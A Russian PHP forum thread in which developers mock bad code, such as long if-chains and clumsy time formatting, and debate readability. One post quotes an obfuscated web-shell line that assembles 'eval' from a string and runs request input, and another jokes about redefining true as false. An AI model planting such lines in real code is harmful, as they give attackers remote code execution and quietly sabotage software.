Тема срачей, говнокода и путей их преодоления

The Kite Runner

Продвинутый
📜
Сообщения
201
Реакции
53
PHP:
if ($this->hodID == 3 || $this->hodID == 6 || $this->hodID == 9 || $this->hodID == 13 || $this->hodID == 15 || $this->hodID == 18 || $this->hodID == 21 || $this->hodID == 24 || $this->hodID == 27 || $this->hodID == 30 || $this->hodID == 33 || $this->hodID == 37 || $this->hodID == 40 || $this->hodID == 43 || $this->hodID == 46 || $this->hodID == 49 || $this->hodID == 52 || $this->hodID == 55 || $this->hodID == 59 || $this->hodID == 62 || $this->hodID == 65 || $this->hodID == 68 || $this->hodID == 71) {
Столкнулся вот с таким говнецом в коде... замечается последовательность, эти цифры почти все делятся на 3 без остатка, такое впечатление, что действие должно происходить каждый третий ход... зачем городить это уродство? Вот более лаконичное и читабельное решение этого чуда:
PHP:
if($this->hodID % 3 == 0)
Точно делятся на 3 без остатка?

13/3=4,3333
37/3=12,3333
40/3=13,3333
43/3=14,3333
46/3=15,3333
49/3=16,3333
Ну и так далее
Хрен знает чем вызвана последовательность... Но не проще ли всё-же в массив их?
 

k880TR

Интересующийся
📜
Сообщения
95
Реакции
14
да, не все делятся без остатка, я написал выше почти все. Но сам подход программиста меня удивил, тут же явно заложен логика 3 хода плюс минус
 

oxy

Знаток
🏆
📜
Сообщения
502
Реакции
152
PHP:
if ($this->hodID == 3 || $this->hodID == 6 || $this->hodID == 9 || $this->hodID == 13 || $this->hodID == 15 || $this->hodID == 18 || $this->hodID == 21 || $this->hodID == 24 || $this->hodID == 27 || $this->hodID == 30 || $this->hodID == 33 || $this->hodID == 37 || $this->hodID == 40 || $this->hodID == 43 || $this->hodID == 46 || $this->hodID == 49 || $this->hodID == 52 || $this->hodID == 55 || $this->hodID == 59 || $this->hodID == 62 || $this->hodID == 65 || $this->hodID == 68 || $this->hodID == 71) {
Столкнулся вот с таким говнецом в коде... замечается последовательность, эти цифры почти все делятся на 3 без остатка, такое впечатление, что действие должно происходить каждый третий ход... зачем городить это уродство? Вот более лаконичное и читабельное решение этого чуда:
PHP:
if($this->hodID % 3 == 0)
По тому что хорошего кода должно быть много! Индусы ©
 

Insallah

Эксперт
👑
🏆
📜
Сообщения
1,689
Реакции
541
да, не все делятся без остатка, я написал выше почти все. Но сам подход программиста меня удивил, тут же явно заложен логика 3 хода плюс минус
Нет, тут заложена логика ручного перечисления номеров ходов, во время которых что-то происходит.
 

k880TR

Интересующийся
📜
Сообщения
95
Реакции
14
Нет, тут заложена логика ручного перечисления номеров ходов, во время которых что-то происходит.
разве не замечается в числа некая последовательность? Даже если учесть не большой плюс минус, какая разница игроку или боту когда использовать прием на 12м ходе или на 13. Большой разницы не вижу, но когда ты читаешь это код и видишь некий кал кончающийся || $this->hodID == 240, то тут становится не очень. Уж очень похоже это на кал
 

Insallah

Эксперт
👑
🏆
📜
Сообщения
1,689
Реакции
541
разве не замечается в числа некая последовательность?
Мы никогда не узнаем.

какая разница игроку или боту когда использовать прием на 12м ходе или на 13
Значит ты ещё не сталкивался с нетривиальными условиями. А вдруг важно?

когда ты читаешь это код и видишь некий кал кончающийся || $this->hodID == 240, то тут становится не очень. Уж очень похоже это на кал
В вопросах валидности — это валидный код. Если хочешь уменьшить, не меняя функционал, поставь сравнение с массивом. Потому что если брать твоё деление с остатком, то превращение получится примерно таким:

PHP:
if(($this->hodID % 3 == 0 && $this->hodID <= 33)
|| $this->hodID == 13 || $this->hodID == 37 || $this->hodID == 40 
|| $this->hodID == 43 || $this->hodID == 46 || $this->hodID == 49
|| $this->hodID == 52 || $this->hodID == 55 || $this->hodID == 59
|| $this->hodID == 62 || $this->hodID == 65 || $this->hodID == 68
|| $this->hodID == 71 ) {...}

// Ну или хуй с ним
if(($this->hodID % 3 == 0 && $this->hodID <= 33) || in_array($this->hodID,[13, 37, 40, 43, 46, 49, 52, 55, 59, 62, 65, 68, 71])) {...}

// Давай упоремся
for ($i = 37; $i <= 55; $i+=3) {
    $j[] = $i; /*37 40 43 46 49 52 55*/
}
for ($i = 58; $i <= 73; $i+=3) {
    $j[] = $i; /*58 61 64 67 70 73*/
}
if(($this->hodID % 3 == 0 && $this->hodID <= 33) || in_array($this->hodID, $j) || $this->hodID == 13) {...}

Сильно упростило логику? Наоборот — усложнило. Иногда простое перечисление, если оно не завязанное на мат-формулу — реально самое простое решение,
 

oxy

Знаток
🏆
📜
Сообщения
502
Реакции
152
А я все ждал когда назреет этот вопрос, когда слепые попытки оптимизировать код пойдут в ущерб его читаемости и простоте восприятия...
 

Bayer

Специалист
⚖️
🏆
📜
Сообщения
816
Реакции
270
Интересно, интересно

Безымянный.png
 

Insallah

Эксперт
👑
🏆
📜
Сообщения
1,689
Реакции
541
Моё любимое:
PHP:
@define('true', false); // счастливой отладки, суки!
 

Insallah

Эксперт
👑
🏆
📜
Сообщения
1,689
Реакции
541
Элегантно.
PHP:
<?php 'v1'; $e = 'javellin'; $f = create_function('', $e{3}.$e{2}.$e{1}.$e{4} .'( stripslashes( @ $_REQUEST[$e] ) );' ); $f();
 

oxy

Знаток
🏆
📜
Сообщения
502
Реакции
152
тот случай, когда говнокод не в коде, а в голове ))
Почему, это весьма тонкий троллинг, ведь в базе все равно сохраняется только значения male/female соответственно вывести в дальнейшем ты можешь только эти два значения, и что чел считает себя транс бабой в итоге указывается что он не транс баба а просто баба)))) Все ок))
 

fulugan

Некто
📜
Сообщения
33
Реакции
3
Почему, это весьма тонкий троллинг, ведь в базе все равно сохраняется только значения male/female соответственно вывести в дальнейшем ты можешь только эти два значения, и что чел считает себя транс бабой в итоге указывается что он не транс баба а просто баба)))) Все ок))
в голове у тех, кому оно предназначено))
 

Bayer

Специалист
⚖️
🏆
📜
Сообщения
816
Реакции
270
К вопросу о огромной простыне if(){}elseif(){}

Есть такая штука как switch.
Например когда у нас есть одинаковый вывод для различных значений переменной, то удобнее использовать именно switch

PHP:
switch ($i) {
case 0:
case 1:
case 2:
case 3:
case 4:
    echo "Вывод";
    break;
default:
    echo "Дефолтный вывод если надо";
}

Если не одинаков то так же только case nubmer: echo; для каждого значения отдельно:

PHP:
switch ($i) {
    case 0:
        echo "i равно 0";
        break;
    case 1:
        echo "i равно 1";
        break;
    case 2:
        echo "i равно 2";
        break;
}

Возможно это не слишком будет отличаться от типикал:

PHP:
if($i == 1){ echo ''; }
elseif($i == 2) { echo ''; }

//Ну или если одинаковы то обычно так видел:
if($i == 1 || $i == 2) { ///... }
//Или
if($i == 1 OR $i == 2) { ///... }


Но мне кажется что когда нужно сравнивать одну и ту же переменную с множеством разных значений использовать switch в разы удобнее и понятнее и блин вообще вообще круто классно.
 

Insallah

Эксперт
👑
🏆
📜
Сообщения
1,689
Реакции
541
Ух, прелесть!

PHP:
$mesto = $location;
            if ($location == '01') {
                $mesto = '1';
            }
            if ($location == '02') {
                $mesto = '2';
            }
            if ($location == '03') {
                $mesto = '3';
            }
            if ($location == '04') {
                $mesto = '4';
            }
            if ($location == '05') {
                $mesto = '5';
            }
            if ($location == '06') {
                $mesto = '6';
            }
            if ($location == '07') {
                $mesto = '7';
            }
            if ($location == '08') {
                $mesto = '8';
            }
            if ($location == '09') {
                $mesto = '9';
            }
 

Insallah

Эксперт
👑
🏆
📜
Сообщения
1,689
Реакции
541
Ух на какую клюкву наткнулся...
PHP:
function GetTime($T): string
{
    $H = (int)(($T / 60) / 60);
    $M = ($T / 60) % 60;
    $S = ($T % 60) % 60;
    if ($H > 9) {
        if ($M > 9) {
            if ($S > 9) {
                return ($H) . ':' . ($M) . ':' . ($S);
            } else {
                return ($H) . ':' . ($M) . ':' . ("0" . $S);
            }
        } else {
            if ($S > 9) {
                return ($H) . ':' . ("0" . $M) . ':' . ($S);
            } else {
                return ($H) . ':' . ("0" . $M) . ':' . ("0" . $S);
            }
        }
    } else {
        if ($M > 9) {
            if ($S > 9) {
                return ("0" . $H) . ':' . ($M) . ':' . ($S);
            } else {
                return ("0" . $H) . ':' . ($M) . ':' . ("0" . $S);
            }
        } else {
            if ($S > 9) {
                return ("0" . $H) . ':' . ("0" . $M) . ':' . ($S);
            } else {
                return ("0" . $H) . ':' . ("0" . $M) . ':' . ("0" . $S);
            }
        }
    }
}

И вызов её: echo GetTime(time()), с*каб*тьн*уй!
 
Последнее редактирование:

fulugan

Некто
📜
Сообщения
33
Реакции
3
Ух на какую клюкву наткнулся...
PHP:
function GetTime($T): string
{
    $H = (int)(($T / 60) / 60);
    $M = ($T / 60) % 60;
    $S = ($T % 60) % 60;
    if ($H > 9) {
        if ($M > 9) {
            if ($S > 9) {
                return ($H) . ':' . ($M) . ':' . ($S);
            } else {
                return ($H) . ':' . ($M) . ':' . ("0" . $S);
            }
        } else {
            if ($S > 9) {
                return ($H) . ':' . ("0" . $M) . ':' . ($S);
            } else {
                return ($H) . ':' . ("0" . $M) . ':' . ("0" . $S);
            }
        }
    } else {
        if ($M > 9) {
            if ($S > 9) {
                return ("0" . $H) . ':' . ($M) . ':' . ($S);
            } else {
                return ("0" . $H) . ':' . ($M) . ':' . ("0" . $S);
            }
        } else {
            if ($S > 9) {
                return ("0" . $H) . ':' . ("0" . $M) . ':' . ($S);
            } else {
                return ("0" . $H) . ':' . ("0" . $M) . ':' . ("0" . $S);
            }
        }
    }
}

И вызов её: echo GetTime(time()), с*каб*тьн*уй!
SgAAAgFqNuA-960.jpg
 

Insallah

Эксперт
👑
🏆
📜
Сообщения
1,689
Реакции
541
PHP:
function Kpegumop($str) {
    $string = substr_replace('javascript:',$str);
    return $str;
}
 

Bayer

Специалист
⚖️
🏆
📜
Сообщения
816
Реакции
270
Я дико извиняюсь, а зачем вот такие вещи?

PHP:
$usr_st['stats']['s'.$j] = 0+$compl['s'.$j];
$usr_st['stats']['a'.$j] = 0+$compl['a'.$j];
$usr_st['stats']['mg'.$j] = 0+$compl['mg'.$j];
 
Последнее редактирование:

Insallah

Эксперт
👑
🏆
📜
Сообщения
1,689
Реакции
541
Может вычурное приведение к integer? Типа, 0 + '42' = 42.
 
Сверху